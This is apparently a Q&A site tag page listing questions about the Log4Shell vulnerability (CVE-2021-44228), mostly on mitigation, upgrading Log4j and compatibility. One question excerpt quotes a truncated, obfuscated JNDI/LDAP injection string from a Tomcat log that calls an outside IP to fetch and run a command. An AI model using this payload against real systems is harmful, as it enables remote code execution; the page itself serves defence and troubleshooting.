Questions tagged [log4shell]

For questions regarding the impact of, mitigation strategies and fixing the security issue Log4Shell (CVE-2021-44228) in the Log4j java logging framework.

Filter by
Sorted by
Tagged with
19 votes
2 answers
26k views

How can I mitigate the Log4Shell vulnerability in version 1.2 of Log4j? [duplicate]

I've got a very old version of Solr and I've been trying to see if it is affected by the Log4Shell vulnerability that everybody is freaking out about (CVE-2021-44228). The CVE only seems to apply to ...
mlissner's user avatar
  • 17.5k
4 votes
1 answer
297 views

Log4j 2.17 binary backward compatibility - direct replacement

Can I simply replace log4j-core-2.x (e.g. 2.8.2) with 2.17.1 without breaking backward compatibility? In other words, is Log4j project following Semantic Versioning? Log4J official changelog does not ...
PaoloC's user avatar
  • 3,877
3 votes
5 answers
8k views

What is the easiest way in Maven pom.xml to upgrade all usages of log4j2 to 2.15.0, including dependencies using log4j2? See CVE-2021-44228

A severe security vulnerability was found for log4j2 <= 2.14.1 (see https://nvd.nist.gov/vuln/detail/CVE-2021-44228). How can I update the pom.xml of a Spring Boot application to make sure that all ...
thomas.schuerger's user avatar
3 votes
2 answers
397 views

Is Drools Business Rules Management impacted by CVE-2021-44228

We are using Drools for our business rules. Is Drools impacted/expose to the CVE-2021-44228 (Log4Shell or Log4J/Apache/Java vulnerability
Stephen's user avatar
  • 33
3 votes
3 answers
6k views

Log4j Vulnerability in 3rd party applications like apache zookeeper

Apache log4j zookeeper uses log4j 1.2 which is vulnerable to RCE. To rectify this issue we planned to exclude log4j 1.2 and include log4j 2.17.1 core and log4j 2.17.1 api in the dependency It doesnt ...
joe's user avatar
  • 77
2 votes
2 answers
3k views

Issue with log4j 2.17.0 update: ClassNotFoundException SetUtils

After the version bump to log4j 2.17.0 this exception was raised during the unit tests: java.lang.ClassNotFoundException: org.apache.logging.log4j.core.util.SetUtils How to work around this problem?
freedev's user avatar
  • 26.7k
0 votes
1 answer
205 views

Would dropping LDAP callbacks prevent Log4Shell

I am trying to upgrade my log4j version to 2.15.0. This should take me a while as I have to upgrade other stuff as well. My question is does dropping ldap callbacks on both 363 and 636 ports on my ...
404NotFound's user avatar
0 votes
1 answer
589 views

hotfix securing many log4j jars against log4shell

I have to secure some servers against CVE-2021-44228 aka log4shell. Those machines are running Linux and have a huge amount of log4j jars all over the place, some from app servers, some from legacy ...
Marcus's user avatar
  • 1,887
0 votes
1 answer
286 views

How to prevent a Java application from executing processes on GNU/Linux?

In other words, are modern GNU/Linux or JVM (ideally Java 11+) able to prevent a Java process from executing other processes? Issues such as Log4Shell and Spring4Shell seem possible because the JVM ...
pyb's user avatar
  • 4,946
0 votes
1 answer
410 views

Is zookeeper 3.6.0 version compatible with kafka 2.2.1 version

We are currently using kafka 2.2.1 version and zookeeper 3.5.9 version. We are trying to upgrade zookeeper to 3.6.0 because of log4j workaround (as zookeeper 3.6 as no explicit dependency with log4j1....
priya dhana's user avatar
0 votes
2 answers
277 views

Failed to instantiate SLF4J LoggerFactory while upgrading log4j version

I am trying to upgrade the log4j version in kafka and zookeeper docker image from 1.x.x to 2.x.x Docker commands RUN rm /zookeeper-3.5.9/lib/log4j-1.2.17.jar RUN wget https://repo1.maven.org/maven2/...
priya dhana's user avatar
0 votes
0 answers
145 views

Tomcat9 Log4Shell attack

Cookie.logInvalidHeader A cookie header was received [('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//129.146.126.156:1389/TomcatBypass/Command/Base64/...
mona's user avatar
  • 1
0 votes
1 answer
475 views

log4shell POC : no HTTP redirect

I am trying to understand/reproduce Log4shell vulnerability, using this poc and also information from Marshalsec. To do that, I've downloaded Ghidra v10.0.4, which is said (on Ghidra download page) to ...
Ablia's user avatar
  • 191
0 votes
1 answer
212 views

How to find log4shell vulnerable classes in my assemblies (jar/ear/war)

Around the current log4shell situation i need a way to find out if i have vulnerable classes in my packaged products. What is the easiest way to find if the following classes are contained in jar ...
fl0w's user avatar
  • 3,653
-3 votes
1 answer
872 views

Making unused log4j2 jar libs safe

With regard to mitigating actions for the log4j2 RCE issues. We have several instances, e.g., oracle client installations on windows 2012 r2, where it appears that while a version of a log4j2 jar is ...
Mr Peragin's user avatar
-5 votes
1 answer
420 views

Is slf4j affected by log4shell? [closed]

Everyone is looking at log4j. Is the slf4j framework actually also affected by log4shell? I haven't found anything about it yet.
Can879's user avatar
  • 3